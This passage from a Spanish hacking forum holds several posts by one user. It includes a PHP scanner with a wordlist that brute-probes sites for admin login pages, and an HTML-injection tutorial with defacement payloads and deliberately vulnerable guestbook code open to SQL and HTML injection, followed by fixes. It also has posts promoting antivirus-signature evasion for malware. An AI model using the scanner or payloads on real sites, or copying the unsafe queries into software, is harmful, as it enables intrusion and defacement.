modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta **********="Content-Type" *********"text/html; charset=utf-8" />
<title>Admin page Finder </title>
<style type="text/css">
h1.technique-two {
        width: 795px; height: 120px;
        background: url(http://x0rg.org/styles/blackbox_red/imageset/site_logo.gif) no-repeat top center;
        margin: 0 auto;
}
body{
    background: #070707;
    margin: 0;
    padding: 0;
    padding-top: 10px;
    color: #FFF;
    font-family: Calibri;
    font-size: 13px;
}
a{
    color: #FFF;
    text-decoration: none;
    font-weight: bold;
}
.wrapper{
    width: 1000px;
    margin: 0 auto;
}
.tube{
    padding: 10px;
}
.red{
    width: 998px;
    border: 1px solid #e52224;
    background: #191919;
    color: #e52224
}
.red input{
    background: #000;
    border: 1px solid #e52224;
    color: #FFF;
}
.blue{
    float: left;
    width: 1000px;
    border: 1px solid #1d7fc3;
    background: #191919;
    color: #1d7fc3;
}
.green{
    float: left;
    width: 1000px;
    border: 1px solid #5fd419;
    background: #191919;
    color: #5fd419;
}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
    var $this = $text;
    var logbox = document.getElementById($place);
    if($replace == 0)
        document.getElementById($place).innerHTML = logbox.innerHTML+$this;
    else
        document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
</head>
<body>
<br />
<br />
<h1 class="technique-two">
       


</h1>

<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form">
URL:<br /><input type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 100%;" /><br /><br />
404string:<br /><input type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 100%;" /><br /><br />
<span style="float: right;"><input type="submit" name="xploit_submit" value="go for it" align="right" /></span>
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
Found ones:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder <br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
    if($br == 1) $msg .= "<br />";
    echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
    if($stop == 1) exit;
    @flush();@ob_flush();
}
function check($x, $front=0) {
    global $_POST,$site,$false;
    if($front == 0) $t = $site.$x;
    else $t = 'http://'.$x.'.'.$site.'/';
    $headers = get_headers($t);
    if (!eregi('200', $headers[0])) return 0;
    $data = @file_get_contents($t);
    if($_POST['xploit_404string'] == "") if($data == $false) return 0;
    if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
    return 1;
}
   
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("\r", "", $list['end']);
$list['front'] = str_replace("\r", "", $list['front']);
$pathes = explode("\n", $list['end']);
$frontpathes = explode("\n", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
    show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
    $verificate++; show($verificate, 0, 0, 'verified', 1);
    if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
    else{
        show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
        show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
    }
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
    show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
    $verificate++; show($verificate, 0, 0, 'verified', 1);
    if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
    else{
        show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
        show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
    }
   
}
?>




Creditos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta espero les sirva como a mi.
Zalu2
#33
Back-end / Conversor de string By 2Fac3R v2.0
Diciembre 23, 2012, 12:39:49 AM
Bueno, pues he hecho una segunda version de esta tool, la cual me ha servido en bastantes cosas que he hido haciendo y decido compartirla. La version 1 la pueden encontrar en este misma web/foro.

Código: PHP
<title> Conversor de string By 2Fac3R v2.0 </title>
<?php
/*
    Conversor de string By 2Fac3R v2.0
http://breaksecurity.blogspot.com/
  */
$string = $_POST['str'];
$conv = $_POST['convertir'];
function res($func){
    global $string;
    echo "Resultado: <br> <textarea cols='80' rows='5'>".$func."</textarea><br>";
    echo "Normal: <b>".htmlentities($string)."</b> <br>";
    echo "<a href=''> Regresar! </a>";
}
if(isset($string) && !empty($string)){
switch($conv){
    case 'bin2hex':
        res(bin2hex($string));
        break;
    case 'encode':
        res(urlencode($string));
        break;
    case 'decode':
        res(htmlentities(urldecode($string)));
        break;
    case 'utf-7':
        res(mb_convert_encoding($string,'UTF-7'));
        break;
    case 'ASCII':
    echo "Resultado: <br><textarea>";
        for($i=0;$i<strlen($string);$i++){
            $obt=ord($string[$i]);
            $ascii=$obt.',';
            echo $ascii;
        }
    echo "</textarea><br> Normal: <b>".htmlentities($string)."</b><br><a href=''> Regresar! </a>";
    break;
    case 'MD5':
        res(md5($string));
        break;
    case 'SHA1':
        res(sha1($string));
        break;
    case 'Base64_encode':
        res(base64_encode($string));
        break;
    case 'Base64_decode':
        res(base64_decode($string));
        break;
    case 'bindec':
        res(bindec($string));
        break;
    default:
        die("Ha habido un error <a href=''> Regresar! </a>");
        break;
}
}else{
    if(isset($_POST['send'])){?>
    <script>alert("Campo de texto vacio");</script>
    <noscript>Campo de texto vacio <br> <font color="RED"> Activa el javascript para una mejor visualizacion </font></noscript>
    <?}?>
    <!-- Conversor de string By 2Fac3R v2.0 -->
<form action="" method="POST">
    <select name="convertir">
        <option value="bin2hex"> BinToHex </option>
        <option value="encode"> Encode </option>
        <option value="decode"> Decode </option>
        <option value="utf-7"> Encode UTF-7</option>
        <option value="ASCII"> ASCII </option>
        <option value="MD5"> MD5 </option>
        <option value="SHA1"> SHA1 </option>
        <option value="Base64_encode"> Base64 encode</option>
        <option value="Base64_decode"> Base64 decode</option>
        <option value="bindec"> Binario To Decimal</option>
    </select>
    <input type="text" name="str">
    <input type="submit" name="send" value="Convertir!">
</form>
<?}?>




Espero les sirva, cualquier bug, comentario y/o critica son bienvenidos ;D
Zalu2
#34
Back-end / Convertidor By 2Fac3R v1.0
Diciembre 23, 2012, 12:38:17 AM
Resulta que he estado utilizando esta herramienta que me he codeado, en diversos momentos que la he necesitado, y pues me he dedicado a hacerlo mas util y compartirlo con todos ustedes, asi al mismo tiempo pido ayuda a los programadores por si ven algun tipo de vulnerabilidad que me lo digan ;D porfavor.

El code es:

Código: php
<title> Convertidor By 2Fac3R v1.0 </title>
<?php
/*
http://breaksecurity.blogspot.com/
Convertidor de textos By 2Fac3R v1.0
  */
$string = $_POST['palabra'];
$send = $_POST['send'];
$choose = $_POST['convertir'];
$res = '<br> Normal: <b>'.htmlentities($string).'<b> <br>';
$res .= '<a href="">Regresar</a>';
if($choose=='hex'){
echo "Resultado:\t0x".bin2hex($string);
echo $res;
}else if($choose=='encode'){
    echo "Resultado:\t".urlencode($string);
    echo $res;
}else if($choose=='decode'){
    echo "Resultado: \t".htmlentities(urldecode($string));
    echo $res;
}else if($choose=='utf-7'){
    echo "Resultado: \t".htmlentities(mb_convert_encoding($string,'UTF-7'));
    echo $res;
}else if($choose=='ASCII'){
    echo "El ASCII es: <b>";
    for($i=0;$i<strlen($string);$i++){
    $ascii=ord($string[$i]);
    $cambiar=$ascii.',';
    echo $cambiar;
    }
    echo '</b>'.$res;
}else if($choose=='MD5'){
    echo "Resultado: \t".md5($string);
    echo $res;
}else if($choose=='SHA1'){
    echo "Resultado: \t".sha1($string);
    echo $res;
}else if($choose=='Base64_encode'){
    echo "Resultado: \t".base64_encode($string);
    echo $res;
}else if($choose=='Base64_decode'){
    echo "Resultado: \t".base64_decode($string);
    echo $res;
}else if($choose=='bindec'){
    echo "Resultado: \t".bindec($string);
    echo $res;
}else{
?>
<!-- Codded By 2Fac3R -->
<form action="" method="POST">
<select name="convertir">
    <option value="hex"> To Hex </option>
    <option value="encode"> Encode </option>
    <option value="decode"> Decode </option>
    <option value="utf-7"> Encode UTF-7</option>
    <option value="ASCII"> ASCII </option>
    <option value="MD5"> MD5 </option>
    <option value="SHA1"> SHA1 </option>
    <option value="Base64_encode"> Base64 encode</option>
    <option value="Base64_decode"> Base64 decode</option>
    <option value="bindec"> Binario To Decimal</option>
</select>
<input type="text" name="palabra">
<input type="submit" name="send" value="Convertir!">
</form>
<?}?>




Espero les sirva de algo, criticas, tips, reportes, etc, son bien recibidos ;D.
Zalu2
#35
Back-end / Is online this web? 1.0 By 2Fac3R
Diciembre 23, 2012, 12:35:55 AM
Buenas!

Resulta que estaba practicando y estudiando las expresiones regulares en PHP y en una duda en un foro vi sobre fopen() asi que se me ocurrio crear un pequeño script para saber si una web esta online o esta caida, bastante basico asi que no creo que sea necesario explicarlo con comentarios xD.


Código: php
<title> Is online this web? 1.0 By 2Fac3R</title>
<?php
/*
¿Is online? 1.0 By 2Fac3R
Verificar si un servidor web esta online
*/
$page = htmlentities($_POST['page']);
$send = $_POST['send'];
if(isset($page) && !empty($page)){
function verificar($url){
    if(preg_match("/^(ftp|http|https):\/\/(.*)\.(.*)$/i", $url)){
        echo fopen($url,'r') ? "<b>$url</b> is <font color='green'>Online</font>" : "<b>$url</b> is <font color='red'>Offline</font>";
    }else{
        echo '<u> URL no valida! </u><br>';
        echo '
        El formato de una URL valida es: <br>
        <b>
        http://www.paginaweb.com <br>
        http://pagina.es <br>
        ftp://cuenta.ftp </b>
        ';
    }
}
verificar($page);
}else{
    if(isset($send)){
        ?>
        <script>
        alert("Debes ingresar una URL!");
        window.location=""</script>
        <noscript>
        <?die("Debes ingresar una URL! <a href=''><b> Regresar! </b> </a>")?>
        </noscript><?
    }
?>
<form action="" method="POST">
    URL: <input type="text" name="page" value="http://">
    <input type="submit" name="send" value="Comprobar!">
</form>
<?}?>




Como siempre, cualquier tip, bug, comentario y/o critica son bienvenidos ;D . Espero sea de utilidad para alguien jojojo...
Zalu2
#36
Back-end / Who visits my website By 2Fac3R v1.0
Diciembre 23, 2012, 12:31:26 AM
Buenas!

En este ocasion traigo un pequeño script "Contador de visitas", a ver si a alguien le sirve de algo jojo, mas que nada para practicar un poco de conocimientos.

contador.php
Código: php

<title> Who visits my website By 2Fac3R v1.0 </title>
<?php
/*
   Who visit my website By 2Fac3R v1.0
*/
class contar{
       
    var $con;
    var $tabla;
       
    function agregar(){
        #---Remplazar por tus datos---
        $host = 'localhost';
        $user = 'root';
        $pwd = 'toor';
        $db = 'test';
        $this -> tabla = 'contador';
        #-----------------------------
        $this -> con = mysql_connect($host,$user,$pwd) or die ("Error en la conexion!");
        $select_db = mysql_select_db($db,$this->con);
        $ip = $_SERVER['REMOTE_ADDR'];
        $pag = __FILE__;
        $ins = "INSERT INTO $this->tabla(ip,page) VALUES('$ip','$pag')";
        mysql_query($ins,$this -> con);
    }
   
    function mostrar(){
        $mos = mysql_query("SELECT * FROM $this->tabla",$this -> con);
        $cantidad = mysql_num_rows($mos);
        if($cantidad !=0){
            echo $cantidad;
        }else{
            echo "1";
        }
       
    }
   
}
$contador = new contar;
$contador -> agregar();
echo 'Visitas: '; $contador -> mostrar();
?>



contador.sql


Código: php
USE test; -- Cambiar por el nombre de tu bd
CREATE TABLE contador( -- Cambiar por nombre de tabla
ip varchar(12),
page text
);




Como ven esta en su version 1.0, si me animo con el tiempo ire posteando los retoques.

Cualquier sugerencia, tip, vulnerabilidad, etc es bien recibida :P. Espero le den utilidad ;)
Zalu2
#37
Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection.

CONOCIMIENTOS BASICOS:

- Saber montar un servidor local de pruebas
- Conocer lo basico de HTML, PHP y MySQL


¿En que consiste el HTMLi?

El fallo consiste en la inyecciòn de codigo HTML en una web, el fallo se da cuando un webmaster pide al usuario que ingrese
algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en
el website del webmaster.


Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario:

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R </title>
<body bgcolor="black" text="green" link="white">
<?php
//Se recibe la llamada por $_GET
$inj = $_GET['inj'];
//Sí la variable contiene algo, muestra el contenido
if(isset($inj))
{
echo $inj;
}else{
//Sino Nos da un link que nos direcciona a donde ponemos la inyeccion (el sitio de el GET por URL)
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi
caso lo hago desde localhost asi que queda asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al ejecutarlo nos aparece la imagen con el link de "inyectar!" que hemos puesto en el "else".

Vamos y nos da un :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


INYECTANDO CODIGO:


¿Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si
ponemos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<h1>2Fac3R

Nos saltaria "2Fac3R" en un encabezado (<h1>), con esto nos damos cuenta que lo que pongamos en la variable "inj" en la URL
($_GET) no lo ejecutaria el navegador...


JUGANDO CON LAS INYECCIONES:

Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas
dependiendo el dominio que tengamos sobre HTML, por ejemplo:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<b>0wn3dD By 2Fac3R<p>Este es un defacement<br>por HTMLi

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<s>0wn3dD</s> By <h1>2Fac3R</h1>Este es un defacement<br><font color="RED">por HTMLi</font>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<font size ="10" color="red"><marquee>0wn3DD By 2Fac3R</marquee></font>

Y asi dependiendo de la imaginación de cada quien ;)

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta
ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para
que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o
simplemente que vea nuestra hermosa inyeccion xDD.


GUESTBOOK´S, Y APLICACIONES VULNERABLES:

En muchos sitios encontramos con los famosos "libros de visitas" el cual tiene la finalidad de que el usuario comente sobre
la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar
lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es
como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa
aplicación

Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicación web que no filtre esos datos y
que los muestre despues.


En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas comodo inyectar mediante la URL, ahora veamos un
codigo de ejemplo por POST, el cual funciona por un Formulario:

Código: php
<html>
<head>
<title> HTMLi Tester ($_POST)</title>
<body bgcolor="black" text="green">
<?php
$snd = $_POST['send'];
$it = $_POST['inj'];
if(isset($snd))
{
//Mostramos en pantalla el contenido que viene del Formulario
echo $it;
}else{
echo '
<form action="" method="POST">
<input type="text" name="inj">
<input type="submit" name="send" value="Inyectar!">
</form>
';
}
?>
</body>
</html>


Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, asi que para
que sea realmente vulnerable y util, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un codigo
de un Guestbook codeado por mi usando HTML, PHP y MySQL, logicamente no contiene la seguridad que deberia:

guestbook.php

Código: php
<?php
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
if(isset($_POST['send']))
{
$conexion=mysql_connect($serv,$user,$pass);
mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje)
              VALUES ('".$_REQUEST['Autor']."','".$_REQUEST['Titulo']."','".$_REQUEST['Mensaje']."')", $conexion)
   or die ("Error en la query".mysql_error());
mysql_close($conexion);
echo "Se ha publicado correctamente";
   }else{
        echo '
<form action="" method="POST">
<b> Autor: <input type="text" name="Autor"> <br>
Titulo: <input type="text" name="Titulo"> <br> <br>
Mensaje: </b><br><TEXTAREA name="Mensaje" cols="100" rows="10"> </TEXTAREA> <br>
<input type="submit" name="send" value="Publicar!">
</form>
';
}

?>


Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del
sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code:

Código: php
<?php
# Reemplazar por tus datos:
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
#...............................
$conexion=mysql_connect($serv, $user, $pass) or die("Problemas en la conexion");
# Se selecciona la bd
mysql_select_db($db,$conexion) or die("Problemas en la selección de la base de datos");
# Se seleccionan las columnas a trabajar
$comments=mysql_query("SELECT * FROM comentarios",$conexion) or die("Problemas en el select:".mysql_error());
# Se mete en la variable la llamada a la sql anterior
# Se crea un bucle a trabajar en cada vuelta de datos que encuentre    
while ($dat=mysql_fetch_array($comments))
{
  echo "<b> Autor :</b>".$dat['Autor']."<br>";
  echo "<b> Titulo : </b>".$dat['Titulo']."<br>";
  echo "<b> Mensaje : </b>".$dat['Mensaje']."<br>";
  echo "---------------------------------------------<br>";
}
# Cerramos la conexion...
mysql_close($conexion);
?>



Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por
lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun filtro, con esto podriamos hacer
un HTMLi o incluso un XSS.


SECURIZANDO NUESTRO WEBSITE:

Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros
no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...)

Opciones:

strip_tags() = Elimina las etiquetas
ejemplo:

<h1>0wnN3D</h1> Nos daria: 0wnN3D (simplemente)

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo strip_tags($inj);
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>


htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta
ejemplo:
<h1>0wnN3D</h1> Nos daria: <h1>0wnN3D</h1> (pero no ejecutaria el codigo)

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo htmlentities($inj)
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>

La opcion que ustedes eligan pues ya depende del caso.
Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina.
Recuerda que esto es para practicar en casa y APRENDER, no para dañar a cada website que te encuentres vulnerable.

COPYRIGHT:

It has Written By 2Fac3R FOR No tienes permitido ver los links. Registrarse o Entrar a mi cuenta IN No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#####################################
##                                                                          ##
# Destribución libre, respetando el autor y dedicatoria.  #
##                                                                           ##
######################################
#38
Entendiendo AVFucker [By 2Fac!]
Hola hermanos , les traigo este pequeño Video-Tutorial sobre como buscar las firmas con AVFucker, mas explico el funcionamiento especifico de el y como hacer para encontrar la firma, lo que necesitamos para la practica son:

-Un editor Hexadecimal (Hex WorkShop)
-Un locator con AVFucker (como el indetectables offset locator 2.5)

Los programas los pueden encontrar aca

Les dejo el Video...



Recuerden que es modding simple...
Espero les guste, comentar es agradecer.
Zalu2
#39
Hola amigos, les traigo este curso que le he colaborado a un amigo (Decoder) de un foro amigo, donde explico el metodo RIT y busco firmas con AVFucker, es metodo simple y explicado, para que se entienda y el modding siga!...



Espero les ayude a continuar con sus mods. Cualquier duda/Critica/Problema/sugerencia pueden hacerla en este mismo tema o abrir uno nuevo...
Espero les guste , comentar es agradecer.
Zalu2
#40
Sigo probando cosas en batch y encontre esta manera de colorear texto en la misma ventana pero diferente (xD), solo que aun no la hago funcionar como quiciera, seguire probando y si logro algo les digo, si alguien me ayuda a probar estaria perfecto ;D


Código: php
@echo off
cls
for /L %%c in (0, 1, 6) do (
color %%c
Pause>nul
echo hola%%c
pause > nul
)


o...

Código: php
@echo off
cls
for /L %%c in (0, 1, 6) do (
color %%c
echo hola%%c
pause > nul
cls
)


Otra forma...

Código: php
@echo off
:Menu
CLS
set test=%random%
set var=%test:~-1%
color %var%
echo Hola%var%
pause>nul
goto :Menu


Code hecho por MsRonicolas en HxC referente a un tema igual

Código: php
@echo off
set /p col=Elige un numero entre 0 y 9=
cls
color %col%
echo Tú color elegido es este
pause >nul


Modificado un poco....

Código: php
@echo off
:Main
set /p col=Elige un numero entre 0 y 9=
:Color
color %col%
echo Tú color elegido es este
pause >nul
Goto :Main


O...

Código: php
@echo off
:Main
CLS
set /p col=Elige un numero entre 0 y 9=
color %col%
echo Tú color elegido es este
pause >nul
Goto :Main


Creando efecto grafico interesante con random mediante colores...

Código: php
@echo off
:Return
set test=%random%
set var=%test:~-1%
color %var%
Ping 127.0.0.1 -n 5>nul | echo Hola%var%
Goto :Return


Espero le den buena utilidad y entre todos encontremos una buena forma (de esta manera) para poder colorear diferentes colores en una misma ventana sin usar el setlocal ;). Al mismo tiempo los reto a que lo encontremos, veamos que logramos entre todos...
Zalu2